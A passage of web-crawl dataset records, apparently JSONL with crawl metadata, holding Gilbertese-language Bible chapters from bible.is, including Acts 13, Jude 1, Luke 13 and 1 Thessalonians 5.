Ko tabu. A na bane n roko bootanaomata nako n taromauriko, bwa a a tia n nooraki am babaaire aika a eti. 5Ao i mwiini baikai ao I noora te umwantabu, are umwan te Tua, bwa e kaukaki; 6ao a oti nako man te umwantabu anera aika itiman, ake iai irouia bwaai ni kamaamate ake itiua, ao a kunnikaiaki n te kunnikai ae e itiaki ae e raneanea, ao a kabaeaki bwabwaaia ni kabae aika koora. 7Ao temanna ni baike a maiu ake aman e angania anera ake itiman boora aika itiua aika koora aika a on n unin te Atua, ae e maiu n aki tootoki. 8Ao e kaonaki te umwantabu n te bubu mani mimitongin te Atua, ao mani mwaakana; ao akea temanna ae e konaa n rin n te umwantabu ni karokoa ae a toki bwaai ni kamaamate ake itiua ake aia bwai anera ake itiman.\nTE KAOTIOTI 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/15","date":"2013-12-10T23:52:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164027110\/warc\/CC-MAIN-20131204133347-00035-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":322,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.475,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 7:3737Ao nooria, iai ainen te kaawa ikekei ae te tia bure. Ngke e ataia bwa E tekateka n amwarake n ana auti te Bwaritaio, ao e roko ma nnen te bwa ae e karaoaki man te atiibu ae te arabwata. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/7\/37","date":"2013-12-13T08:25:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164920374\/warc\/CC-MAIN-20131204134840-00037-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000040531158447}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Iai buraabeti ma taan reirei aika a mena n te ekaretia i Antioka, aika Bwarenaba, ma Timeon are arana teuana Nikera, ao Roukio are te I-Kurene, ao Manaen are e kaikawaaki ma Erote are te tia tau-taeka, ao Tauro. 2Ngke a tabe uaakai n taromauriia te Uea, ma n aki mamatam, ao E takunakoia te Taamnei are e Raoiroi, Kam na kaokoroa Bwarenaba ma Tauro bwa au aomata nakon te mwakuri are I a tia n rineiia nako iai bwa a na karaoia. 3Ma ngaia are ngke a a tia n aki mamatam, ao a a tia naba n tataro, ao a katokai baiia i aoia, ao a kanakoia. 4Ao ngaiia, ngke a kanakoaki iroun te Taamnei are e Raoiroi, ao a nako Terukia; ao a borau maiai nako Kubero. 5Ngke a roko i Tarami, ao a tataekina ana taeka te Atua ni mwaneabaia I-Iutaia. Ao raoia Ioane bwa e buokiia n aia mwakuri. 6A kabutaa aon te abamwakoro arei ao a toki i Babo, ike a kaaitibo iai ma te tia tabunea ae arana Barietu. Bon te I-Iutaia ngaia, ae te buraabeti ni kewe. 7E meemena Barietu iroun Terekio Bwauro, ae te aomata ae e wanawana, are te tia tau-taeka n te aba arei. A weteaki Bwarenaba ma Tauro iroun Terekio, bwa e kan ongoraa n ana taeka te Atua. 8Ma e tukiia Eruma are te tia tabunea (bwa aei arana n te taetae n Erene), ao e kataia n tuuka Terekio bwa e na aki onimakina Iesu. 9Ao e kaonaki n te Taamnei are e Raoiroi Tauro, are e aranaki naba bwa Bwauro; e katokai matana n taraa te tia tabunea arei, ao e taku, 10Ngkoe ae natin te riaaboro, ae ko on n te uarao ni kabanea ma aaro ni baabakanikawai ni kabanea, ae ana kairiribai te raoiroi ni kabanea, ko aki konaa n toki man arom ae te atong koaua mai iroun te Atua bwa keewe? 11Ao nooria, e na roko ngkai mwaakan te Uea i aom, ao ane ko na mataki n aki konaa n noora taai tabe bong. Ao a karooaki matan Eruma n te tai naba arei, ao e nakonako ni kakaaeia aomata aika a na tautaua baina ni kairiria. 12Ngke e noora te baerei Terekio, ao e onimaki; e rangi ni miimii n taekan te Uea. 13A borau ngkanne Bwauro ma raona mai Babo, ao a roko i Bereke are i Bamburia; e kiitaniia Ioane ikekei, ao e okira Ierutarem. 14Ngke a nako uaakekei mai Bereke, ao a roko i Antioka are i Bitiria; ao a nako ni mwaneabaia I-Iutaia n te bong ae te taabati, ao a tekateka iai. 15I mwiin te wareware man te Tua ma buraabeti, ao a kanakoa aia taeka taan taua taekan te mwaneaba nakoia Bwauro ma, ae e kaangai, Mwaane, taari, ngkana iai ami taeka ni kakorakora te nano nakoia aomata, ao kam na taetae. 16E tei rake Bwauro, ao e taotaona baina nakoia kaain te mwaneaba, ao e taku, Mwaane aika Iteraera, ao ngkami akana kam maaka te Atua, kam na ongoraa. 17E rineiia ara bakatibu Atuaia aomata aika Iteraera aikai, ao E karikirakeiia bwa te bootanaomata ae e korakora ngke a maeka n iruwa n te aba are Aikubita. 18Ao E buobuokiia n te rereua i nanon ae tao angaun te ririki, e ngae ngke a aki raraoi aroia nakoina. 19Ao ngke E a tia ni kamaunaia bootanaomata ake itiua n te aba are Kanaan, ao E anganiia abaia bwa a na abanna, 20i nanon te maan ae tao abubua ao nimangaun te ririki; ao i mwiina, E anganiia Iteraera taani motiki-taeka ni karokoa te tai are e riki iai Tamuera are te buraabeti bwa te tia kairiri. 21Ao rimwi riki, a buubuti bwa e na karekeaki aia uea: ao te Atua E anganiia Tauro are natini Kiti are kaain te baronga are Beniamin, bwa e na uea i aoia i nanon te maan ae abwi te ririki. 22Ao ngke E a tia ni kamwaawaa, ao E kateirakea Tawita bwa aia uea; ao aikai ana taeka te Atua ibukina: E a reke irou Tawita are natin Iete; boni ngaia te aomata ae I tangiria, ae e na karaoi bwaai ni kabane aika I tangiri. 23Ao mai irouia ana kariki teuaei, ao E a tia te Atua ni karekea te Tia Kamaiu mai buakoia, are Iesu, n ai aron ana taeka n akoi. 24Ao i mwaain rokona, ao e a tia Ioane n tataekinna nakoia Iteraera ni kabaneia, bwa a riai n rairi nanoia ao a na bwaabetitooaki. 25Ao ngke e nangi rooroko Ioane n tokin ana mwakuri, ao e taku, Kam taku bwa antai ngai? Tiaki Teuarei ngai. Ma nooria, E na roko i mwiiu, ao I aki tau bwa N na kabwarai kabaean ana kau ni wae. 26Mwaane, taari, ngkami akana kam riki mai iroun Aberaam, ao akana a maaka naba te Atua i buakomi, e kanakomaiakaki taekan te kamaiu aeinakoira. 27Bwa aomata ake a maeka i Ierutarem, ni bootaki ma aia tia tau-taeka, a aki ataia ae te Tia Kamaiu, ao a aki oota naba n nanon aia taeka buraabeti ake a aki toki ni warekaki n te taabati ae koraki; ma a kakoroibukin aia taeka buraabeti ngke a motika taekana. 28Ao ngke akea te bwai ae a kunea bwa e riai kamatean iai Iesu, ao a boni butiia naba Birato bwa E na kamateaki. 29Ao ngke a a tia ni kakoroi mwiin taeka ni kabane ake a koreaki bwa taekana, ao a karuoa rabwatana man te kai, ao a kawenea n te nne ni mate. 30Ma E a manga kamaiuaki mai buakoia maate iroun te Atua; 31ao E kaakaoti i nanoni boong aika a bati nakoia ake a iria mai Kariraia nako Ierutarem, ake a tataekinna ngkai nakoia aomata. 32Ao ti tuangkami te rongorongo ae e raoiroi, bwa ana taeka n aakoi te Atua are e atongaki ngkoa nakoia bakatibu, 33e a tia ni kakoroa bukin aeinakoira ngaira aika kanoaia bakatibu, ngke E a manga kamaiua Iesu; n ai aron naba are koreaki n te Areru are te kauoua, are e kaangai taekana, Bon Natiu Ngkoe, I karikiko n te bong aei. 34Ao aei ana taeka te Atua ibukini manga kamaiuana man te mate, n aki manga okira te mka: N na anganingkami te kabwaia are kabwaian Tawita, ae te kabwaia ae e koaua ae e itiaki. 35Ao ti te bo naba ma ana taeka n te Areru teuana, ngke E kaangai Ane Ko na aki kariaia Natim are Moan te Raoiroi bwa E na mka rabwatana. 36Bwa ngke e a tia Tawita n tou mwiin nako ana taeka te Atua n ana roro, ao e mate, ao e kaweneaki rabwatana i rarikiia ana bakatibu, ao e mka rabwatana; 37ma E aki mka rabwatan Teuare E a manga kamaiuaki iroun te Atua. 38Ma ngaia aei, mwaane, taari, kam na ataia bwa kam tuangaki bwa a kabwaraaki buure iroun Teuarei, 39ao akana a onimaki a bane ni kainaomataaki irouna mani buure ni kabane ake kam aki konaaki ni kainaomataaki maiai n ana tua Mote. 40Ma ngaia ae kam na tarataraingkami, bwa e kaawa n roko i aomi te baere e atongaki irouia buraabeti, ae e kaangai taekana 41Noria, ngkami aika taani kakaniko, kam na miimii ao kam na mate! Bwa te mwakuri ae I karaoia i nanon ami tai ni maiu, bon te bwai ae kam na aki kakoauaa, e ngae ngkana e kabwarabwaraaki taekananakoimi iroun temanna. 42Ngke a oti nako Bwauro ma Bwarenaba man te mwaneaba, ao a butiaki irouia aomata bwa a na manga taekin riki aia taeka akekeinakoia n te taabati are i mwiina. 43Ngke e a bwara nako te bootaki arei, ao a iraki Bwauro ma Bwarenaba irouia I-Iutaia aika a bati ma aomata aika a kakaonimaki nakoni karaoan ana kaantaninga te Atua, aika a tia n riki bwa kaain te Aro n I-Iutaia. E taetae Bwauro ma Bwarenabanakoia, ni kairoroiia bwa a na kairaki maiuia n taai nako n ana aakoi te Atua. 44N te taabati are i mwiina, ao a kuri ni bane kaain te kaawa ni bootaki n ongoraa n ana taeka te Atua. 45Ma ngke a nooriia aomata aika a bati I-Iutaia, ao a rangi ni bakantang; a kakewei taeka ake a atongaki irouni Bwauro, ao a kabuaakakaa Bwauro. 46Ao a taetae ma te ninikoria Bwauro ma Bwarenaba, ni kaangai, Bon te bwai ae e riai taekinani moa ana taeka te Atuanakoimi. Ma ngkai kam rawa iai, ma ni baaireia n ami iango bwa kam aki riai n anganaki te maiu are e aki toki, ao nooria, ti nangi nako ni kawariia aomata aika tiaki I-Iutaia. 47Bwa boni ngaia are ti tuangaki iai iroun te Uea, ni kaangai, I kateiko bwa te oota Ngkoe nakoia aomata aika a aki onimakina te Atua, ao te kawai ni kamaiu nakoia aomata nako i aonnaba. 48Ngke a ongo aei aomata aika tiaki I-Iutaia, ao a kimwaareirei, ao a kamoamoaa ana taeka te Atua; ao a onimaki aomata ake a rineaki nakon te maiu are e aki toki. 49Ao e tataekinaki ana taeka te Uea i aon te aba arei ni kabutaa. 50Ma a kaunaki irouia I-Iutaia aine ake a kakannato ake a kakaonimaki nakon ana kaantaninga te Atua, ao a kaunia naba mwaane ake a kakannato n te kaawa, ao a karaoi mwakuri ake a riki ni bwainikiriinaki iai Bwauro ma Bwarenaba irouia aomata, ao a kakioia nako man abaia. 51Ao ngaiia a taei tanoni waeia bwa kaotan ae ai aakea tabeia irouia kaain te kaawa arei, ao a nako Ikonio. 52Ao a kaonaki reirei ake i Antioka n te kimwaareirei ao n te Taamnei are e Raoiroi.\nMWAKURI 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/13","date":"2013-12-08T19:12:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163798888\/warc\/CC-MAIN-20131204132958-00049-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1602,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai iroun Iuta, ae ana toro Iesu Kristo, ae tarin Iakobo, nakoia akana a weteaki, akana a tangiraki iroun te Atua ae te Tama, akana a kaawakinaki ibukin Iesu Kristo: 2a na kabatiaaki nakoimi te nanoanga, ma te raoi, ma te tangira. 3Ngkami aika kam tangiraki, ngke e korakora nanou ni kani koroboki nakoimi n taekina te maiu ae bon ara bwai ma ngkami, ao I taku bwa e bon riai bwa N na koroboki nakoimi ni butingkami bwa kam na kakorakoraingkami ibukin te onimaki are a anganaki ake a itiaki n te tai ae ti teuana ao akea riki. 4Bwa a karabaiia n rin n te ekaretia aomata tabemwaang aika a kaburea taekinan ana aakoi te Atua bwa a aonga n reke aonaia iai n aroia n tamware, ao a kaakeaa te Toka are ti temanna are ara Uea, are Iesu Kristo. A kaman taekinaki te koraki aei ngkoangkoa bwa a na motikaki taekaia ni kabuaakakaaki ibukin aroia aei. 5Bwa e boni ngae ngke kam atai taekani baikai ni kabane, n te tai ae ti teuana, ma I kani kauringngkami, bwa te Uea E kamaiuiia te bootanaomata ae Iteraera man te aba are Aikubita, ao rimwi E kamateia ake a aki onimaki. 6Ao anera ake a aki rauaki ni nneia ni mwaaka are a katauaki iai ma a kiitan oini mwengaia, a kaawakinaki irouna ni kabaeaki n taurekereke aika akea tokiia n te tabo ae e rootongitong i mwaain te motiki-taeka n te bong are e kakannato; 7n ai aroia kaain Totom ma Komora ma kaawa ake i rarikiia, ngke a kiitan aroia ake a katauaki iai n ai aroia anera akekei, ao a karaoi aaro ni kammaira aika a bobuaka ma te iango; ao a riki bwa te bwai n reirei nakoia aomata ni kabaneia, ngkai a reke kaiia n te ai ae e mwaaka are akea tokina. 8Ao n aroia naba aio, te koraki aei a noori baika kaanga taiani mii ake a riki iai ni bure nakon oin rabwataia, ma n ribaa aron te Atua n uea i aoia, ma n taetaebuakaia ake a neboaki, 9Ao Mikaera are te mataniwi temanna irouia anera, ngke e un ma te riaaboro ni kauntaeka ibukin rabwatani Mote, ao e maaku n atonga kabuaakakaana n taetaebuakaia; ma e kaangai, E na boaiko te Uea. 10Ao te koraki aei a taetaebuakai baika a aki atai aroia; ao baika a atai n aia namakin aika ai aron aia namakin maan aika a aki wanawana, a kamateaki iai. 11A na reke kaiia! Bwa a karaoa te baere e karaoia Kain, ao a kataua karaoan te kaairua are e karaoia Bwaraam ibukini kani karekeani boon aia mwakuri. A rawa ni kan tautaekanaki n ai aroni Kora, ao a mate. 12Te koraki arei a riki bwa kaanga baareka n ami bootaki n amwarake n i tangitangiri, ngkai a bootaki n amwarake ma te aki auba, ao a ti tabeakiniia i bon irouia; kaanga naang aika akea te karau i nanoia, aika a uouotaki nako n te ang; kaanga kaai aika a aki uaa n taini kaai n uaa; aika kaai aika kaanga uoua aia tai ni mate ao a taekaki mani wakaaiia; 13kaanga naoni marawa aika a kakamaaku ma aroia aika a kamamaa aika a nooraki bwa kaanga buroburon naao; kaanga itoi aika a tiotio nako, aika e kaawakinaki i bukiia nneia n aki toki n te roo ae e rootongitong. 14Ao Enoka, are te kaitiroro mai mwiin Atam, e taetae naba ni buraabeti i bukiia te koraki aei ni kaangai: Noria, E nako mai te Uea ma ana koraki ake a itiaki aika reebu mwaitia, 15bwa E na motiki-taekaia aomata ni kabaneia, ni kabuaakakaia ni kabaneia akana a aki reitaki ni maiuia ma te Atua, ibukin aia mwakuri ni kabane aika akea karinean te Atua iai, ake a tia ni karaoi n aki reitaki ma ana kaantaninga te Atua, ao ibukin taeka ni kammaraki nano aika a bukinna iai taani bure aika a aki reitaki ma te Atua ni maiuia. 16Bon taani bwangantaeka te koraki aei, ao taani ngurengure ma taan iri oin nanoia ni kaibwabwaru; taan taetae ni kainikatonga, ao a kamoamoaia aomata ni karangiia bwa a aonga n reke irouia baika a tangiri. 17Ngkami aika kam tangiraki, kam na uring taeka ake a atongaki rimoa irouia ana taan tuatua ara Uea are Iesu Kristo; 18bwa a kaangai nakoimi: N te tai ae te kabanea n tai, ao a na roko taani kakaniko, aika aomata aika a iri oin nanoia ni kaibwabwaru aika akea irouia karinean te Atua. 19Aomata aikai boni ngaiia aika a kariki taian raure; aomata aika a iri oin nanoia ni baika a tangiri, ao akea te Taamnei irouia. 20Ma ngkami aika kam tangiraki, kam na waaki ni kateitei aromi i aon ami onimaki ae moan te tabu; ao kam na tataro n aroni kairami iroun te Taamnei are e Raoiroi; 21ao kam na aki mwaawa man ana tangira te Atua, ngkai kam kaantaninga ana nanoanga ara Uea are Iesu Kristo ibukin te maiu are e aki toki. 22Ao kam na nanoangaiia tabemwaang aika a nanokokoraki; 23kam na kamaiuiia temwaangina ni buritiia man te ai; ao kam na nanoangaiia temwaangina ma te maaku, ma kam na ribai aia kunnikai aika a kabaarekaki n aia kaibwabwaru aika a kamwaraa. 24Ao ana bwai Teuare e konaa ni kaawakiningkami bwa kam na aki bwaka, are e konaa naba ni kaakiingkami i matana ni mimitongina bwa aomata aika a itiaki ma ni kimwaareirei, 25ana bwai te Atua ae ti temanna, are ara Tia Kamaiu, iroun Iesu Kristo are ara Uea, te neboaki, ma te karineaki, ma te tau-taeka, ma te mwaaka, ngke a tuai ni karikaki bwaai, ao ngkai, ao n aki toki. Amene.\nIUTA 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jude\/1","date":"2013-12-05T16:13:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163046801\/warc\/CC-MAIN-20131204131726-00053-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":951,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te tai naba arei, ao a roko aomata tabeman n tuanga Iesu taekaia I-Kariraia ake e rengan raraaia Birato ma raraani maan ake karea. 2Ao E kaekaia ni kaangai, Kam taku bwa a buaakaka riki I-Kariraia akekei nakoia I-Kariraia ni kabaneia ibukin ae a kammarakaki n te aro aei? 3I taku nakoimi, A aki; ma ngkana kam aki rairi nanomi, ao kam na bane ni mate n ai aroiia. 4Ao tera aroia aomata ake tengauni ma waniman, ake a bwakaraki n te auti ae te taua i Tiroam, ao a mate iai; kam taku bwa a buaakaka riki nakoia aomata ni kabaneia ake a maeka i Ierutarem? 5I tuangkami, A aki; ma ngkana kam aki rairi nanomi, ao kam na bane ni mate n ai aroiia. 6Ao E taekina te karaki ni kabootau aei: Iaia te aomata temanna ae iai ana biiku ae e unikaki i nanoni nnen ana kureebe; ao e roko bwa e na ukoukori uaana iai, ma akea ae e kunei. 7Ao e taku nakon te tia ribana, Noria, ai tenua te ririki n nako ae I rooroko iai n ukoukori uaa n te biiku aei, ao akea ae I kunea. Ko na koreia ni kabwakaa; bukin tera bwa e na kabanebuakaa te amwarake man te tano? 8Ao e kaeka ni kaangai, Te uea, Ko na katikua riki teuana te ririki, bwa N na keniken ri rarikina ao N na ribanaia. 9Ao ngkana e karki uaa n ana tai n uaa, ao e na rangi n raoiroi; ma ngkana e aki, ao ko a konaa ni koreia ni kabwakaa. 10E reirei Iesu ni mwaneabaia I-Iutaia teuana n te taabati. 11Ao nooria, e mena iai te aine ae iai irouna te anti ae kaaorakaki irouna i nanon ririki aika tebwi ma wanua; e bwaoua nuukana ao e aki konaa ni kaeta raoi rabwatana. 12Ngke E noora neierei Iesu, ao E weteia ao E taku nakoina, Neiko, ko a kamaiuaki man aorakim. 13Ao E kaaki baina i aona, ao e a eti ngkekei naba nuukana, ao e karaoiroa te Atua. 14Ao e un te tia taua taekani mwaneabaia I-Iutaia iroun Iesu ngke E kamaiu n te taabati, ao e taku nakoia aomata, Iai boong aika onoua ake a riai ni karaoaki mwakuri iai; rooko ni boong akanne bwa kam na kamaiuaki iai, ma tiaki n te bong ae te taabati. 15Ma E kaeka te Uea ni kaangai, Ngkami aika taani mwaamwanaa-te-aba! Tiaki kam bane ni kabwarai rooia ami kao ma ami aati mani nneia n amwarake n te taabati ao kam kairiia nako ni kamooiia? 16Ao te aine aei, ae natin Aberaam, ae e kabaeaki i nanon tebwi ma wanua te ririki iroun Tatan, tiaki bwa e riai bwa e na kabwaraaki mani kabaeana aei n te bong ae te taabati? 17Ngke E atongi baikai, ao a bane ni maamaa te koraki ake a ribaia, ao a bane ni kimwaareirei aomata ni bwaai ni kabane ake a moa n raraoi ake a karaoaki irouna. 18Ao E taku ngkanne Iesu, Ai aron tera uean te Atua? ao tera ae N na kabootaua iai ma ngaia? 19Ai aron uaan te mwaakeke, are e anaia te aomata n unikia ni nnen arokana; ao e rikirake, ao e riki bwa te kai ae e abwaabwaki, ao a karaoi nneia ni maeka mannikiba i aoni mwaangana. 20Ao E a manga taku riki, Tera ae N na kabootaua iai uean te Atua ma ngaia? 21Ai aron te iiti are e anaia te aine ao e renganna ma te buraawa ae tao nimabwi te bwauna rawaawatana, ao e kabanea ni karikirakea te buraawa. 22Ao E waaki nako Iesu i aoni kawaina ri nuukani kaawa ma taabo ake a maekanaki, n reireia aomata. Ni karaoan arei irouna, ao E bon tabe n toutoua kawaina nako Ierutarem. 23Ao e taku temanna nakoina, Te Uea, Ti tabeman akana nang kamaiuaki? Ao Ngaia E kaangai nakoia, 24Kakorakoraingkami bwa kam na rin n te mataroa are e wariki; bwa I taku nakoimi bwa a bati aika ukoukora te kan rin iai, ma a aki konaa. 25N te tai naba are e tei rake iai teuare ana auti te auti ni kaina te mataroa, ao ane kam na tei i tinaniku ao kam na karebwerebwea te mataroa, ao kam na kaangai, Te Uea, kaukia nakoira. Ao ngaia e na kaekaingkami ni kaangai, I aki ataa reitakiu ma ngkami. 26Ao ngkami, ane kam na kaangai, Ti amwarake ao ti mooi ma ngkoe, ao ko reirei i nanoni kawain ara kaawa. 27Ao agaia e na kaangai, I tuangkami bwa I aki ataa reitakiu ma ngkami; naako mai irou, ngkami ni kabaneingkami aika taani karaoa ae e buaakaka. 28Ane kam na tang ao kam na tenai riami ikekei ni kaota ae kam un, ngkana kam noora Aberaam, Itaaka, Iakobwa ma buraabeti ni kabaneia n uean te Atua, ao ngkami kam teweaki nako tinaniku. 29Ao ane a na roko aomata mai mainiku ao mai maeao, mai meaang ao mai maiaki, ao a na karekei nneia n tekateka n tain te baka n amwarake n uean te Atua. 30Ao nooria, bon iai aika rimwi ngkai aika na riki n rimoa, ao aika rimoa ngkai aika na riki n rimwi. 31A roko Bwaritaio tabemwaang n te tai naba arei, ao a taku nakon Iesu, Ko na nako maikai, ao tai tikutiku, bwa e tangiriko Erote bwa ko na kamateaki. 32Ao Ngaia E kaangai nakoia, Kam na nako n tuanga te arobeke arei ni kaangai, Noria, I kanakoia taimonio, ao I karaoi mwakuri ni kakamaiu n te bong, aei ao ningabong, ao n te kateni bong, N na katiaa iai au mwakuri. 33Ma I riai ni waakina nako kawaiu n te bong aei ao ningabong, ao n te bong are i mwiina; bwa e aki konaaki ni kamateaki te buraabeti ngkana e aki mena i Ierutarem. 34Ngkami, aika kaain Ierutarem, aika kam aki toki ni kamateia buraabeti ao kam karebanaiia ake a kanakoaki nakoimi! Ai mwaiti ra au kani bobootingkami, n ai aron te moa-aine, ngkana e bootiia natina i aani baina, ma kam rawa! 35Noria, e nang katukaki ami kaawa i bon irouna n aki tabeakinaki iroun te Atua; ao I tuangkami bwa kam na aki manga karaoiroa Teuae nako mai n aran te Uea!\nRUKA 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/13","date":"2013-12-09T12:12:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163968717\/warc\/CC-MAIN-20131204133248-00055-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1039,"character_repetition_ratio":0.046,"word_repetition_ratio":0.017,"special_characters_ratio":0.238,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kam aki kainnanoa koreakin taekan taai ma boong aika a na riki iai baikai. 2Bwa kam bon ataa ana bong te Uea, bwa e na roko n ai aron rokon te tia iraa n te bong. 3Ngkana a kaangai aomata, E a rau te aba ao aakea te kakiriwe; ao ane e na roko ni karina te kabuanibwai nakoia, kaanga ai aron rokon te ariri ni maraki iroun te aine ae e nangi bung; ao a na bon aki konaa ni kamaiuiia maiai. 4Ma ngkami, taari, kam aki mena i nanon te roo; ma ngaia ae e na aki kakubanakoingkami te bong arei n ai aron te tia ira; 5bwa natin te oota ngkami ni kabaneingkami, ao natin naba te ngaina. Tiaki ana bwai te bong ma te roo ngaira. 6Ma ngaia ae ti na tai nimatuutuu n ai aroia tabemwaang; ma ti na kauti matara, ao ti na kamarurungira. 7Bwa a matuuaomata n te bong, ao a manging n te bong naba. 8Ma ngaira, aika a ana bwai te ngaina, ti na tauu baangira; ti na karina te tanga are te onimaki ma te tangira, ao te barengaru are kaantaningaan te maiu. 9Bwa tiaki ana kaantaninga te Atua bwa E na kareke kaira, ma ana kaantaninga bwa ti na karekea te maiu iroun ara Uea are Iesu Kristo, 10are e mate i bukira, bwa ti na uaia ni maiu ma Ngaia ngkana tao ti maiu ke ti mate. 11Ma ngaia ae kam na i karau nanomi, ao kam na i kateimatoaingkami, n ai aron ae kam kaakaraoia. 12Ma ti butingkami, taari, bwa kam na ataiia akana a kakorakoraia ni mwamwakuri i buakomi, akana a kairingkami ma n reireingkami n aromi ni maiu n reitaki ma te Uea. 13Kam na anganiia karineaia ae e bati ma tangiraia ibukin aia mwakuri. Kam na bwaina te raoi i buakomi. 14Ao ti kauungaingkami, taari, bwa kam na reireiia akana a rawa ni mwakuri, kam na kauungai nanoia akana a kai toki nanoia, kam na buokiia akana a mamaara, ao kam na taotaon nanomi nakoia aomata ni kabaneia. 15Kam na taraia bwa akea temanna ae e na karaoa ae e buaakaka nakon temanna ibukina ngke te aomata arei e a tia ni karaoa ae e buaakaka nakoina; ma kam na ukoukora ae e raoiroi i bukimi n taai nako, ao i bukiia naba aomata ni kabaneia. 16Kam na kimwaareirei n taai nako; 17Kam na tataro n taai nako; 18kam na katituaraoi ni bwaai ni kabane: bwa bon aei nanon te Atua i bukimi ngkai kam reitaki ma Kristo Iesu. 19Kam na tai tuuka te Taamnei are e Raoiroi; 20kam na tai kaakeai boonganan taetae ni buraabeti; 21ma kam na katai bwaai ni kabane bwa ua ra; kam na taua ae e raoiroi, 22ao kam na rawa nakoni karaoan te buaakaka ni kabane. 23Ao Atuan te raoiroi E na karaoingkami bwa kam na riki n ai arona n aromi nako; ao a na kaawakinaki taamneimi, ma maiumi, ma rabwatami, bwa a na aki konaaki ni kabuaakakaaki i matan ara Uea are Iesu Kristo. 24E kakaonimaki Teuare e weteingkami, ao E na boni karaoia. 25Taari, kam na tataro naba i bukira. 26Kam na kamauriia taari ni kabaneia n ai aroia taari n inga. 27I tuangkami iroun te Uea bwa e na warekaki te reta aei nakoia taari ni kabaneia. 28E na mena iroumi ana aakoi ara Uea are Iesu Kristo.\n1 TETARONIKE 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Thess\/5","date":"2013-12-05T14:27:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163046151\/warc\/CC-MAIN-20131204131726-00033-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":565,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 3:1414bwa e aonga n reke kakabwaian Aberaam irouia aomata aika tiaki I-Iutaia irouni Kristo Iesu, ao bwa e aonga n reke iroura n te onimaki te Taamnei are e atongaki n te taeka n akoi. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/14","date":"2013-12-04T19:13:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163037167\/warc\/CC-MAIN-20131204131717-00063-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000008463859558}","num_words":51,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ni boong akekei, ngke a mwaiti aomata ao akea kanaia, ao Iesu E weteiia ana reirei nakoina, ao E taku, 2Iai nanoangaaia aomata irou, bwa ai tenibong aia bong n titiku i rarikiu, ao akea te bwai ae a na kanna; 3ao ngkana I kanakoia nakoni mwengaia ngkae a mate ni baki, ao a na kiro i aoni kawaia; ao iai i buakoia aika a roko man taabo aika a raroa. 4A kaeka ana reirei ni kaangai, Maia i nanon te rereua aei, ae e na konaa temanna ni kakaaea iai te amwarake ae e tau bwa e na kaamwarakeia aomata aikai iai? 5Ao E titirakiniia ni kaangai, Iraai te kariki 